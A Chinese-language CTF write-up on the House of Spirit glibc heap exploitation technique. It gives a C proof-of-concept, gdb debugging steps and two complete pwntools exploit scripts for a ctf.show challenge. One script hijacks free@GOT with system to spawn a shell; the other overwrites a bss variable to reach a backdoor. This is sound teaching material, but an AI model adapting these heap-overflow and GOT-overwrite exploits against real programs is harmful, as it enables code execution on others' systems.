House of Spirit攻击

原理

House of Spirit是一种堆利用方法,其核心在于通过任意地址的释放达到篡改地址的目的。

利用条件:

  1. 在目标地址周围能够伪造一个堆块。
  2. 能对伪造堆块地址周围进行一次释放(即将伪造的堆块地址作为free函数的参数进行一次释放操作)
  3. 释放之后能够重新申请得到这个堆块并篡改目标地址的内容

这里给出一个POC代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
setvbuf(stderr, 0, 1, 0);
}

long long data[0x20] = {0};

int main(){
int size = 0x70;
void *p;
init();
// init arena
malloc(0);
// fake chunk header
printf("%p\n",data);
data[0] = 0x0;
data[1] = size | 1; // prev_inuse_bit
// fake next chunk header
data[size / 8] = 0x0;
data[(size / 8) + 1] = 0x11;
sleep(0);
// free user data place, fd.
free(&data[2]);
sleep(0);
// user's size == chunk_size - 0x10
p = malloc(size - 0x10);
printf("%p\n",p);
sleep(0);
}

gcc编译一下进行调试分析

运行结果如下

运行结果

调试命令如下:

1
2
3
4
gdb House_of_Spirit
b sleep
r
x /20gz 0x6010a0

x指令结果为

x指令结果

bins指令结果为

bins指令结果

可以看到我们伪造chunk成功,prev_size为0,size字段为0x71。

这里我们还需要伪造下一个chunk的头部,如果不伪造,就会报错。因为会检查下一个chunk的size字段,如果下一个chunk的字段不在正常范围内(2*SIZE_SZ到av->system_mem),则会报错退出,所以在伪造chunk的时候,不仅要伪造当前的chunk头,还要伪造下一个chunk的头部

例题

例题下载:例题

查看保护

查看保护

IDA反编译发现后门函数

后门函数

在main函数中满足一定条件可以调用后门函数

main函数

magic 为在 bss 段的全局变量,如果我们能够控制 v3 为 114514 并且覆写 magic 使其值⼤于 114514 ,就能get flag。

看菜单menu()

菜单

打开create_heap():

create_heap

heaparray 数组:存放 chunk 的⾸地址。

read_input(heaparray[i], size):把我们输⼊的内容写⼊ chunk 中。

且heaparray是存放在bss段上

bss段

打开edit_heap():

edit_heap

可以再次编辑 chunk 的内容,⽽且可以选择输⼊⼤⼩。如果我们这次输⼊的 size ⽐创建时⼤的话,就会导致堆溢出

(read_input(heaparray[v1], v2):向 chunk 中写⼊ v2 ⼤⼩的内容,也就是说如果 v2 ⽐ create 时的 size ⼤的话就会造成堆溢出。)

那么我们就可以用House of Spirit

攻击思路:

  1. 首先创建俩个chunk,chunk0大小为0x10,chunk1的大小为0x60
  2. 然后删除chunk1
  3. 编辑chunk0造成堆溢出,修改chunk1的fd指针为0x000000000060208d
  4. 创建两个chunk大小都为0x60,第一个内容随意,第二个要构造payload覆盖magic的值
  5. getflag

需要注意的一点是,在我们修改fd指针时,需要连到一个合法的chunk头,

内存分布

这就是一个合法的chunk头,大小为0x70

内存分布

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
from LibcSearcher import *
import sys
import re

filename = './pwn144_1604'
url = 'pwn.challenge.ctf.show 28271'

def extract_hostname_and_port(url):
match = re.match(r'([^:\s]+)[\s:](\d*)', url)
if match:
hostname = match.group(1)
port = match.group(2) if match.group(2) else None
return hostname, port
return None, None

hostname, port = extract_hostname_and_port(url)
debug_flag = False

if len(sys.argv) > 1:
if sys.argv[1] == 'remote':
p = remote(hostname, port)
elif sys.argv[1] == 'debug':
p = process(filename)
debug_flag = True
else:
print("Usage: python script.py [remote|debug]")
exit(1)
else:
p = process(filename)

def debug():
if debug_flag:
try:
gdbscript = '''
b * main
b * 0x0000000000400B1A
b * 0x0000000000400C4A
b * 0x0000000000400D43
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
except Exception as e:
print(f"Failed to attach GDB: {e}")

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-p', '80']

elf = ELF(filename)
debug()

def add(size , content) :
p.sendafter('Your choice :' , b'1')
p.sendafter('Size of Heap : ' , str(size))
p.sendafter('Content of heap:' , content)
def edit(idx , size , content) :
p.sendafter('Your choice :' , b'2')
p.sendafter('Index :' , str(idx))
p.sendafter('Size of Heap : ' , str(size))
p.sendafter('Content of heap : ' , content)
def delete(idx) :
p.sendafter('Your choice :' , b'3')
p.sendafter('Index :' , str(idx))
def getflag() :
p.sendafter('Your choice :' , b'114514')
add(0x10 , 'aaaa') #0
add(0x60 , 'bbbb') #1
delete(1) #1
payload = 0x18 * b'a' + p64(0x71) + p64(0x000000000060208d)
edit(0 , len(payload) , payload)
add(0x60 , '/bin/sh\x00') #1
payload1 = 0x23 * b'a' + p64(elf.got['free'])
add(0x60 , payload1) #2
payload2 = p64(elf.plt['system'])
edit(0 , len(payload2) , payload2)
delete(1)
p.interactive()







这题一样可以用Arbitrary Alloc攻击,关于fastbin攻击等我研究透彻会进行总结,这里先贴个脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
from LibcSearcher import *
import sys
import re

filename = './pwn144_1604'
url = 'pwn.challenge.ctf.show 28271'

def extract_hostname_and_port(url):
match = re.match(r'([^:\s]+)[\s:](\d*)', url)
if match:
hostname = match.group(1)
port = match.group(2) if match.group(2) else None
return hostname, port
return None, None

hostname, port = extract_hostname_and_port(url)
debug_flag = False

if len(sys.argv) > 1:
if sys.argv[1] == 'remote':
p = remote(hostname, port)
elif sys.argv[1] == 'debug':
p = process(filename)
debug_flag = True
else:
print("Usage: python script.py [remote|debug]")
exit(1)
else:
p = process(filename)

def debug():
if debug_flag:
try:
gdbscript = '''
b * main
b * 0x0000000000400B1A
b * 0x0000000000400C4A
b * 0x0000000000400D43
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
except Exception as e:
print(f"Failed to attach GDB: {e}")

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-p', '80']

elf = ELF(filename)
debug()

def add(size , content) :
p.sendafter('Your choice :' , b'1')
p.sendafter('Size of Heap : ' , str(size))
p.sendafter('Content of heap:' , content)
def edit(idx , size , content) :
p.sendafter('Your choice :' , b'2')
p.sendafter('Index :' , str(idx))
p.sendafter('Size of Heap : ' , str(size))
p.sendafter('Content of heap : ' , content)
def delete(idx) :
p.sendafter('Your choice :' , b'3')
p.sendafter('Index :' , str(idx))
def getflag() :
p.sendafter('Your choice :' , b'114514')
add(0x10 , 'aaaa') #0
add(0x60 , 'bbbb') #1
delete(1) #1
payload = 0x18 * b'a' + p64(0x71) + p64(0x000000000060208d)
edit(0 , len(payload) , payload)
add(0x60 , 'aaaa') #1
payload1 = 0x3 * b'a' + p64(0x1BF60)
add(0x60 , payload1) #2
getflag()
p.interactive()